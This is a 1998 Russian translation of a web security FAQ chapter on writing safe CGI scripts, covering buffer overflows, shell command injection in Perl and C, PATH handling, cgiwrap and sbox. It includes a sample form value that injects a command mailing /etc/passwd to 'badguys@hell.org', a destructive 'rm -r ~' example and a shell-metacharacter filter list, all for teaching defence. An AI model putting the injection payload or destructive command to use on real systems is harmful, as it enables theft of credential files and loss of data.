Наверх, к Содержание |
||
Назад, к Защита
конфиденциальных документов |
Вперед, к Безопасное
программирование на Perl |
Проблема в том, что любой из них может содержать ошибку, которую можно использовать. Скрипты CGI должны быть написаны с той же осторожностью и вниманием, что и программы самого сервера, поскольку на самом деле они и есть маленькие серверы. К сожалению, для многих авторов программ в Web скрипты CGI являются первым опытом программирования в сетях.
Скрипты CGI могут открывать лазейки двумя путями:
Скрипты CGI являются потенциальными лазейками даже в том случае, если вы запускаете сервер с правами пользователя "nobody". Взломаный скрипт, работая с правами nobody, тем не менее пользуется правами, достаточными для отсылки по электронной почте файла паролей, получения карт локальной сети или инициирования входа в систему через порт с большим номером (для выполнения этого необходимо всего лишь выполнить несколько команд на языке Perl). Даже если ваш сервер запущен в среде chroot, ошибочный скрипт может выдать информацию, достаточную для взлома системы.
Хотя особой опасности в хранении скриптов вместе с документами нет, но лучше хранить их в отдельном директории. Гораздо легче контролировать доступ к скриптам CGI, могущим представлять собой лазейки в безопасности, тогда, когда они хранятся отдельно, чем если они разбросаны по разным директориям. Особенно актуально это в ситуации, когда на сервере работает много авторов документов Web. Автор очень легко может написать скрипт, содержащий случайную ошибку, и поместить его среди документов. Ограничивая область размещения скриптов директорием cgi-bin с правами доступа, разрешающими установку новых скриптов только системному администратору, вы избегаете хаоса на сервере.
Существует также опасность того, что хакер сможет разместить файл с расширением .cgi в директории документов, а затем запустить его на исполнение, обратившись с запросом к серверу. Использование директория cgi-bin с правильно установленными правами доступа уменьшает вероятность такого события.
Да, но с множеством оговорок.
Прежде всего, важен вопрос о возможности для удаленного пользователя получить исходный текст программы. Чем больше хакер знает о том, как работает скрипт, тем легче ему найти и использовать ошибки в нем. При использовании компилируемых языков вы можете создать двоичный выполняемый файл, поместить его на сервер и не беспокоиться о том, что хакер может получить доступ к исходному тексту программы. Напртив, в случае интерпретируемых языков исходный текст всегда потенциально доступен. Хотя правильно настроенный сервер не должен передавать текст скрипта, существуют различные пути обхода этого ограничения.
Рассмотрим следующий сценарий. Из соображений удобства, вы настроили сервер на распознавание скриптов CGI по расширению имени файла .cgi. Затем вам понадобилось отредактировать интерпретируемый скрипт CGI. Вы открываете его с помощью текстового редактора Emacs и изменяете нужным образом. Увы, редактор оставляет резервную копию файла с исходным текстом программы в дереве документов. И хотя удаленный пользователь не может получить исходный текст при обращении к самому скрипту, он имеет возможность получить резервную копию файла попросту выбрав адрес URL:
http://ваш-узел/путь/к/ваш_скрипт.cgi~
(это еще одна причина, по которой безопаснее ограничить область хранения скриптов отдельным директорием и ограничить доступ к нему.)
Конечно, во многих случаях исходные тексты скриптов на C свободно распространяются по Сети, и у хакеров не возникнет проблем с доступом к ним.
Еще одна причина большей безопасности компилируемых программ - вопросы размера и сложности. Большие программы, такие как интерпретаторы языков программирования и оболочки ОС, скорее всего содержат ошибки. Эти ошибки могут открывать лазейки в безопасности. Они существуют, просто мы о них не знаем.
Третий фактор - возможность использовать языки, на которых пишут скрипты, для передачи данных системным командам и получение результатов их выполнения. Как будет описано далее, выполнение системных команд при работе скрипта - один из основных источников лазеек в безопасности. В C выполнить системную команду сложнее, и менее вероятно, что программист будет использоватьб эту возможность. Наоборот, написать скрипт любой степени сложности на языке оболочки операционной системы, полностью избегая использования опасных инструкций, очень сложно. Языки оболочек ОС - плохой выбор при разработке хоть сколько-нибудь сложных скриптов CGI.
Прочтя все это, пожалуйста поймите, что нет гарантии того, что программа на C будет безопасной. Программы на C могут содержать множество опасных ошибок, как показывает пример программ NCSA httpd 1.3 и sendmail. В свою очередь, программы на интерпретируемых языках как правило имеют меньший объем текста и легче могут быть поняты лицами, не участвовавшими в разработке, с целью контроля. Далее, язык Perl содержит ряд встроенных функций, предназначенных для перехвата возможных лазеек в безопасности. Например, "проверки на чистоту" (taint checks, см. далее) перехватывают многие обычные недостатки в текстах программ и делают скрипты Perl в некотором отношении более безопасными, чем аналогичные программы на C.
Вы никогда не можете быть уверены, что скрипт безопасен. Лучшее, что вы можете сделать - внимательно изучить скрипт и понять, что и как он делает. Если вы не владеете языком, на котором написан скрипт, обратитесь к кому-нибуть, кто знает этот язык.
Вот вопросы, которые следует учитывать при изучении скрипта:
Заметное число свободно распространяемых скриптов CGI содержат известные лазейки в безопасности. Многие из тех лазеек, которые здесь указаны, были закрыты, но если вы используете старую версию, не имеющую исправления, то вы можете подвергаться опасности. В таком случае - обновите вашу версию. Если для скрипта нет исправлений, то лучше от него избавиться.
К стыду, один из ошибочных скриптов, nph-publish, был написан автором этого документа. Скрипт предназначен для публикации на сервере Apache документов, редактируемых при помощи "публикующего" редактора, такого, например, как Netscape Navigator Gold. автор не проверял необходимым образом пути доступа к файлам, вводимые пользователем, потенциально давая возможность сохранять файлы там, где не положено. Это может создать серьезные проблемы в случае, если сервер запущен с большими привилегиями. Если вы используете этот скрипт, то обновите версию на 1.2 или более позднюю. Ошибка была обнаружена Randal Schwartz (merlyn@stonehenge.com).
Ошибки во второй паре скриптов в списке были
обнаружены Paul Phillips (paulp@cerf.net),
автором CGI security
FAQ. Лазейка в PHF (телефонная книга) найдена Jennifer
Myers (jmyers@marigold.eecs.nwu.edu),
она представляет собой потенциальную лазейку,
содержащуюся во всех скриптах CGI, использующих
библиотеку NCSA util.c
. Здесь
можно найти информацию о том, как исправить
лазейку в util.c
.
периодически здесь будет добавляться информация о других скриптах, содержащих ошибки.
Добавим, что один из скриптов, приведенных как пример "хорошего программирования CGI" в книге "Build a Web Site" (Построение узла Web, net.Genesis и Devra Hall), содержит классическую ошибку, заключающуюся в передаче непроверенной пользовательской переменной оболочке операционной системы. Скрипт приведен в разделе 11.4, "Простой скрипт для поиска с использованием grep", страница 443. Другие скрипты в этой книге также могут содержать ошибки.
Этот список далек от полноты. Никакая организация не занимается отслеживанием распространяемых скриптов. CERT выпускает сообщения о скриптах с ошибками, когда узнает о них, и имеет смысл подписаться на их список рассылки, или иногда просматривать свежие архивы (смотри Библиография).
Безусловно, на вашей совести лежит проверка безопасности каждого используемого вами скрипта.
Не смотря на возможность достижения красивых эффектов, следует избегать использования скриптов, предоставляющих информацию о вашей системе. Например, команда finger часто выводит путь к домашнему директорию пользователя, и скрипт, использующий эту команду, выдает эту информацию (на самом деле вам следует полностью выключить finger, предпочтительно даже стереть этого демона). Команда w дает информацию о ресурсах, используемых локальными пользователями. Команда ps, со всеми ее формами, дает потенциальному взломщику полезные сведения о том, какие демоны активны в вашей системе.
ОСНОВНОЙ источник лазеек в безопасности - переполнение буферов при чтении данных, вводимых пользователем. Вот простая иллюстрация проблемы:
#include <stdlib.h> #include <stdio.h> static char query_string[1024]; char* read_POST() { int query_size; query_size=atoi(getenv("CONTENT_LENGTH")); fread(query_string,query_size,1,stdin); return query_string; }
Проблема здесь в том, что автор предполагает, что объем вводимых данных, полученных методом POST, никогда не превысит размера статического буфера, 1024 байта. Это плохо. Злой хакер может нарушить работу программы, введя гораздо больший объем данных. В некоторых ситуациях при переполнении буфера и сбое программы хакер может иметь возможность выполнения произвольных команд на сервере.
Приведем простой пример функции read_POST(), обходящей эту проблему путем динамического резервирования памяти. Если памяти недостаточно, то функция возвращает значение NULL.
char* read_POST() { int query_size=atoi(getenv("CONTENT_LENGTH")); char* query_string = (char*) malloc(query_size); if (query_string != NULL) fread(query_string,query_size,1,stdin); return query_string; }
Конечно, после чтения данных, вы должны продолжать следить за тем, чтобы буфер не переполнился. Контролируйте такие функции, как strcpy(), strcat() и другие функции для работы со строками, которые производят копирование до тех пор, пока не достигнут конца строки. Используйте вместо них функции strncpy() и strncat().
#define MAXSTRINGLENGTH 255 char myString[MAXSTRINGLENGTH + sizeof('\0')]; char* query = read_POST(); assert(query != NULL); strncpy(myString,query,MAXSTRINGLENGTH); myString[MAXSTRINGLENGTH]='\0'; /* Обеспечить 0 в конце строки */
(Заметте, что дейсвия strncpy могут быть опасны в ситуации, когда строка имеет длину MAXSTRINGLENGTH, что ведет к необходимости явно обрезать строку, вставляя символ '\0'.)
В языке C это директивы popen() и system(), которые вызывают /bin/sh для обработки команды. В языке Perl сюда относятся функции system(), exec() и перенаправленная (piped) open(), а также функция eval(), запускающая сам интерпретатор Perl. В различных оболочках сюда попадают команды exec и eval.
Обратные кавычки, дающие возможность перехвата вывода программ в виде текстовых строк в интерпретаторах оболочек ОС и языке Perl, также небезопасны.
Проиллюстрируем необходимость некоторой паранои в этих вопросах на примере с первого взгляда безопасного фрагмента кода на языке Perl, который должен посылать электронную почту по адресу, указанному в форме ввода.
$mail_to = &get_name_from_input; # получить адрес из формы ввода open (MAIL,"| /usr/lib/sendmail $mail_to"); print MAIL "To: $mailto\nFrom: me\n\nHi there!\n"; close MAIL;
Проблема состоит в вызове open(). Автор подразумевал, что содержимое переменной $mail_to всегда будет представлять корректный адрес e-mail. Но что произойдкт, если хакер введет адрес, выглядящий следующим образом?
nobody@nowhere.com;mail badguys@hell.org</etc/passwd;
Теперь инструкция open() выполнит следующую команду:
/usr/lib/sendmail nobody@nowhere.com; mail badguys@hell.org</etc/passwd
Увы, open() послала содержимое системного файла паролей удаленному пользователю, открыв тем самым возможность для взлома паролей.
Вам не нужно совсем не использовать этих функций. Просто вы должны понимать, что вы делаете, перед тем, как их использовать. В некоторых случаях вы можете избежать передачи пользовательских переменных оболочке ОС, вызывая внешние программы иным образом. Например, sendmail имеет флаг -t, который заставляет ее игнорировать адрес, имеющийся в командной строке, и использовать адрес, имеющийся в заголовке файла письма. Приведенный выше пример может быть изменен с целью использования этой возможности следующим образом (здесь также использован флаг -oi для избежания преждевременного окончания передачи если sendmail обнаружит точку в начале строки):
$mailto = &get_name_from_input; # получить адрес из формы ввода open (MAIL,"| /usr/lib/sendmail -t -oi"); print MAIL <<END; To: $mailto From: me (me\@nowhere.com) Subject: ничего особенного Привет! END close MAIL;
Программисты, пишущие на C, могут использовать семейство функций exec для передачи параметров запускаемым программам напрямую, а не через оболочку ОС. Того же можно достичь и в Perl, используя приведенную ниже технику.
Вы должны искать пути, позволяющие избежать запуска оболочки ОС (shell). В тех редких случаях, когда у вас нет другого выбора, вы должны всегда проверять содержимое ввода на присутствие метасимволов языка оболочки и удалять их. Список таких символов достаточно обширен:
&;`'\"|*?~<>^()[]{}$\n\r
Обратите внимание на то, что сюда входят
символы перевода строки и возврата каретки (LF и CR)
- те, что кто-то из NCSA забыл, когда он (или она)
писал широко распространяемую библиотеку util.c
как пример
программирования CGI на C.
Еще лучше убедиться, что параметры, предоставляемые пользователем, точно соответствуют тому, что должно быть, а не просто удалять метасимволы из переменной в надежде, что вы не получите неожиданных побочных эффектов. Даже если вы передаете пользовательские переменные в вызываемую вами программу напрямую, а не через оболочку ОС, они все равно могут содержать конструкции, открывающие лазейки в вызываемой программе.
Вот пример того, как можно убедиться, что адрес, предоставленный пользователем и содержащийся в переменной $mail_to, действительно выглядит как адрес электронной почты:
$mail_to = &get_name_from_input; # получить адрес из формы ввода unless ($mail_to =~ /^[\w-.]+\@[\w-.]+$/) { die 'Адрес не соответствует форме foo@nowhere.com'; }
(Для некоторых узлов приведенные ограничения могут быть слишком жесткими. Они не допускают адресов в формате UUCP или любой другой из многих альтернативных схем построения адресов e-mail).
На самом деле - нет. Один из любимых хакерских методов состоит в том, чтобы изменить содержимое переменной PATH таким образом, чтобы она указывала на ту программу, которую хочет запустить хакер, а не на ту, которую вы имеете в виду. Кроме проверки параметров, передаваемых внешним программам, вы должны использовать полные пути доступа к ним, а не доверять переменной PATH. То есть, вместо такого фрагмента кода на C:
system("ls -l /local/web/foo");
используйте такой:
system("/bin/ls -l /local/web/foo");
Если вам необходимо использовать переменную PATH, то установите ее значение явным образом в начале скрипта CGI:
putenv("PATH=/bin:/usr/bin:/usr/local/bin");
Во всех случаях, не следует включать в состав переменной PATH текущий директорий (".").
Это не совсем так. cgiwrap (автор - Nathan Neulinger <nneul@umr.edu>, http://www.umr.edu/~cgiwrap) разработан для многопользовательских узлов, таких как университетские серверы, где пользователям разрешается создавать свои собственные скрипты CGI. Поскольку скрипты выполняются с правами того же пользователя, правами которого пользуется сервер (т.е. "nobody"), то администратору в такой ситуации трудно определить, чей именно скрипт вызывает ошибочно посланные письма, ошибки в файлах трассировки или идиотские сообщения на дисплеях других пользователей. Кроме того, возникают проблемы с защитой: при выполнении с теми же правами, скрипт одного пользователя может, например, случайно (или преднамеренно) разрушить базу данных, поддерживаемую скриптом другого пользователя.
cgiwrap позволяет вам так организовать скрипты, что они теперь выполняются под идентификатором того пользователя, которому принадлежат. Эта политика может быть усилена таким образом, что пользователь должен использовать cgiwrap для того, чтобы скрипт смог быть выполнен. Хотя это упрощает администрирование и предотвращает помехи пользователям сос стороны других пользователей, это привносит риск для пользователя. Поскольку скрипты выполняются теперь с правами владельца, взломанный скрипт может полностью очистить домашний директорий пользователя, выполнив команду
rm -r ~
Хуже того, поскольку взломанный скрипт обладает правами записи в домашний директорий пользователя, он может поместить туда троянского коня, подвергая тем самым риску всю ситему. Пользователь nobody, по крайней мере, как правило не имеет прав записи нигде в системе.
sbox
, написанный автором настоящего документа, представляет собой другую оболочку для запуска скриптов CGI. Подобно cgiwrap, он запускает скрипт с правами пользователя и/или группы, к которой принадлежит автор скрипта. Кроме того, sbox предпринимает дополнительные действия для обеспечения безопасности. Он выполняет команду chroot и меняет корневой директорий скрипта, изолируя его от домашнего директория пользователя и большей части файловой системы и ограничивает системные ресурсы, доступные для использования в скрипте. Это позволяет бороться с определенными нападениями с целью подавления.sbox в настоящее время находится в стадии бета-тестирования. Если у вас есть желание попробовать использовать sbox, то вы можете его получить на URL http://www.genome.wi.mit.edu/~lstein/sbox/. sbox не был еще достаточно тщательно отлажен и может содержать ошибки, в том числе - лазейки в безопасности. Пожалуйста, соблюдайте осторожность.
Нет. Хотя вы имеете возможность ограничить доступ к скриптам на основе адресов IP или комбинаций имени пользователя и пароля, вы не можете контролировать того, каким образом запускается скрипт. Скрипт может быть вызван через любую форму, где угодно в мире. Или механизм форм может быть обойден полностью, и скрипт может быть запущен путем прямого обращения к его адресу URL. Не подразумевайте, что скрипт всегда будет вызываться через формы, которые вы написали для работы с ним. Считайте, что некоторые параметры могут отсутствовать или иметь неожиданные значения.
Ограничивая права доступа к скрипту, не забудте ограничить доступ к _самому_ скрипту, а не только ко всем формам ввода, позволяющим с ним работать. Соблюсти это требование проще, если скрипт сам генерирует формы ввода для себя при обращении к нему.
Конечно да! Спрятанные переменные присутствуют в тексте документа на HTML, который сервер передает браузеру. Для того, чтобы их увидеть, пользователю достаточно выбрать пункт "показать текст" ("view source", источник) в меню браузера. Ничто также не мешает пользователю установить содержимое переменной так, как он желает, и послать ее обратно вашему скрипту. Не доверяйте спрятанным переменным в вопросах безопасности.
Это так, если вас волнует попадание содержимого форм в файлы трассировки сервера или представителей (proxy) на пути их передачи по сети. Данные запросов, передаваемых с использованием метода POST, как правило не попадают в файлы трассировки, в отличие от запросов, пересылаемых методом GET. В других аспектах нет разницы между безопасностью при использовании методов GET и POST. Перехватить запрос, передаваемый методом GET, так же просто, как и передаваемый методом POST. Более того, в отличие от некоторых ранних реализаций шифрования протокола HTTP, современное поколение шифрующих сочетаний сервер/браузер шифруют запросы GET так же хорошо, как и запросы POST.
CGI security FAQ (вопросы и ответы по безопасности CGI), поддерживаемый Paul Phillips ( paulp@cerf.net), можно найти по адресу:
http://www.go2net.com/people/paulp/cgi-security/safe-cgi.txt
Этот документ содержит большое количество рекомендаций по безопасности, однако он не обновлялся с сентября 1995 года. После этого Selena Sol опубликовала отличную статью о рисках, связанных с установкой готовых скриптов, с большим количеством советов по настройке их скриптов для повышения надежности. Статью можно найти на URL:
http://Stars.com/Authoring/Scripting/Security/
Отличное введение в программирование на Perl и программирование CGI можно найти в Perl CGI FAQ,
http://www.perl.com/CPAN-local/doc/FAQs/cgi/perl-cgi-faq.html
авторы - Tom Christiansen (tchrist@perl.com) и Shishir Gundavaram (shishir@ora.com).
Наверх, к Содержание |
||
Назад, к Защита
конфиденциальных документов |
Вперед, к Безопасное
программирование на Perl |
Перевод - Дмитрий Громов
Last modified: Wed Jul 1 06:37:17 EDT 1998